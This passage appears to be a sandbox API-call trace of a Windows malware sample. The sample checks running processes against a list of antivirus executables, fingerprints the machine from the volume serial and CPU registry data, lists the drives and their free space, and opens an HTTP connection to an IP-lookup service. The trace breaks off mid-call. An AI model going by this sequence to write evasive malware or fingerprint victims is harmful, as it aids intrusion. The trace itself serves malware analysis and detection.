lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0040.708] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.709] GetLastError () returned 0xcb [0040.709] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0040.709] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0040.709] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.710] GetLastError () returned 0xcb [0040.710] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0040.710] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.710] GetLastError () returned 0xcb [0040.710] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0040.710] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0040.711] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.711] GetLastError () returned 0xcb [0040.711] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0040.711] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0040.711] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.712] GetLastError () returned 0xcb [0040.712] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.712] GetLastError () returned 0xcb [0040.712] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.713] GetLastError () returned 0xcb [0040.713] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0040.713] GetLastError () returned 0xcb [0040.713] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.714] GetLastError () returned 0xcb [0040.714] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0040.714] GetLastError () returned 0xcb [0040.714] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0040.714] GetLastError () returned 0xcb [0040.714] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x728, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.715] GetLastError () returned 0xcb [0040.715] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0040.715] GetLastError () returned 0xcb [0040.715] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0040.716] GetLastError () returned 0xcb [0040.716] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0040.716] GetLastError () returned 0xcb [0040.716] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0040.717] GetLastError () returned 0xcb [0040.717] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.717] GetLastError () returned 0xcb [0040.717] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=6, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0040.718] GetLastError () returned 0xcb [0040.718] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="joining.exe")) returned 1 [0040.718] GetLastError () returned 0xcb [0040.718] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_eden_inquiries.exe")) returned 1 [0040.718] GetLastError () returned 0xcb [0040.718] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="cradlecompare.exe")) returned 1 [0040.719] GetLastError () returned 0xcb [0040.719] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="todd_allan.exe")) returned 1 [0040.719] GetLastError () returned 0xcb [0040.719] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="metres_steven_portland_notify.exe")) returned 1 [0040.720] GetLastError () returned 0xcb [0040.720] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="abraham humanitarian syntax.exe")) returned 1 [0040.720] GetLastError () returned 0xcb [0040.720] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="hacalciumincident.exe")) returned 1 [0040.721] GetLastError () returned 0xcb [0040.721] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="museums.exe")) returned 1 [0040.721] GetLastError () returned 0xcb [0040.721] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="bolivia.exe")) returned 1 [0040.722] GetLastError () returned 0xcb [0040.722] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="follow-doubt-like.exe")) returned 1 [0040.722] GetLastError () returned 0xcb [0040.722] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="individualstageslands.exe")) returned 1 [0040.722] GetLastError () returned 0xcb [0040.723] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="noble sun epson hydrocodone.exe")) returned 1 [0040.723] GetLastError () returned 0xcb [0040.723] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="therapy-modify.exe")) returned 1 [0040.724] GetLastError () returned 0xcb [0040.724] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="malaysia-smell-jumping.exe")) returned 1 [0040.724] GetLastError () returned 0xcb [0040.724] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius.exe")) returned 1 [0040.724] GetLastError () returned 0xcb [0040.724] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="scoring.exe")) returned 1 [0040.725] GetLastError () returned 0xcb [0040.725] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="taught advertisements attorneys.exe")) returned 1 [0040.725] GetLastError () returned 0xcb [0040.725] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="notified.exe")) returned 1 [0040.726] GetLastError () returned 0xcb [0040.726] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead-involves-stephen.exe")) returned 1 [0040.726] GetLastError () returned 0xcb [0040.726] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="fall-arrive.exe")) returned 1 [0040.727] GetLastError () returned 0xcb [0040.727] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="charger.exe")) returned 1 [0040.727] GetLastError () returned 0xcb [0040.727] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="attempted.exe")) returned 1 [0040.728] GetLastError () returned 0xcb [0040.728] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.728] GetLastError () returned 0xcb [0040.728] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="bi35.exe")) returned 1 [0040.729] GetLastError () returned 0xcb [0040.729] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0040.729] GetLastError () returned 0xcb [0040.729] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 0 [0040.729] VirtualFree (lpAddress=0x510000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0040.730] CloseHandle (hObject=0x328) returned 1 [0040.730] GetWindowsDirectoryW (in: lpBuffer=0x56b588, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0040.730] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x56b788, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x56bb88, lpMaximumComponentLength=0x56bb90, lpFileSystemFlags=0x56bb8c, lpFileSystemNameBuffer=0x56b988, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x56bb88*=0xd2ca4def, lpMaximumComponentLength=0x56bb90*=0xff, lpFileSystemFlags=0x56bb8c*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0040.730] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x328) returned 0x0 [0040.730] RegQueryValueExW (in: hKey=0x328, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x56bb94, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x56bb94*=0x49, lpcbData=0x19fc54*=0x54) returned 0x0 [0040.730] RegCloseKey (hKey=0x328) returned 0x0 [0040.730] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0040.730] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x328) returned 0x0 [0040.730] RegQueryValueExW (in: hKey=0x328, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x56bbe6, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x56bbe6*=0x49, lpcbData=0x19fc54*=0x4a) returned 0x0 [0040.730] RegCloseKey (hKey=0x328) returned 0x0 [0040.730] wsprintfW (in: param_1=0x5680f8, param_2="%d" | out: param_1="-758493713") returned 10 [0040.730] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0040.730] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77190000 [0040.730] GetProcAddress (hModule=0x77190000, lpProcName="RtlComputeCrc32") returned 0x771b6b10 [0040.730] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0040.730] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x5680f8, Length=0xae) returned 0xdce1bb8b [0040.730] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.731] lstrcatW (in: lpString1="", lpString2="C:" | out: lpString1="C:") returned="C:" [0040.731] lstrcatW (in: lpString1="C:", lpString2="FIXED" | out: lpString1="C:FIXED") returned="C:FIXED" [0040.731] lstrcatW (in: lpString1="C:FIXED", lpString2="_" | out: lpString1="C:FIXED_") returned="C:FIXED_" [0040.731] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x19fce0, lpBytesPerSector=0x19fcec, lpNumberOfFreeClusters=0x19fcf4, lpTotalNumberOfClusters=0x19fcf0 | out: lpSectorsPerCluster=0x19fce0, lpBytesPerSector=0x19fcec, lpNumberOfFreeClusters=0x19fcf4, lpTotalNumberOfClusters=0x19fcf0) returned 1 [0040.731] lstrlenW (lpString="C:FIXED_") returned 8 [0040.731] wsprintfW (in: param_1=0x569e80, param_2="%I64u/" | out: param_1="549227327488/") returned 13 [0040.731] lstrlenW (lpString="C:FIXED_549227327488/") returned 21 [0040.731] wsprintfW (in: param_1=0x569e9a, param_2="%I64u" | out: param_1="18561421312") returned 11 [0040.731] lstrcatW (in: lpString1="C:FIXED_549227327488/18561421312", lpString2="," | out: lpString1="C:FIXED_549227327488/18561421312,") returned="C:FIXED_549227327488/18561421312," [0040.731] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0040.731] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0040.732] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0040.733] GetDriveTypeW (lpRootPathName="") returned 0x1 [0040.733] lstrlenW (lpString="C:FIXED_549227327488/18561421312,") returned 33 [0040.733] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0042.096] VirtualAlloc (lpAddress=0x0, dwSize=0x2801, flAllocationType=0x3000, flProtect=0x40) returned 0x9a0000 [0042.215] lstrlenW (lpString="") returned 0 [0042.215] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0042.217] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0042.218] InternetConnectW (hInternet=0xcc0004, lpszServerName="ipv4bot.whatismyipaddress.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0042.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x1ec0000 [0042.219] wsprintfW (in: param_1=0x1ec0000, param_2="%s" | out: param_1="/") returned 1 [0042.219] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c [0042.221] HttpSendRequestW (in: 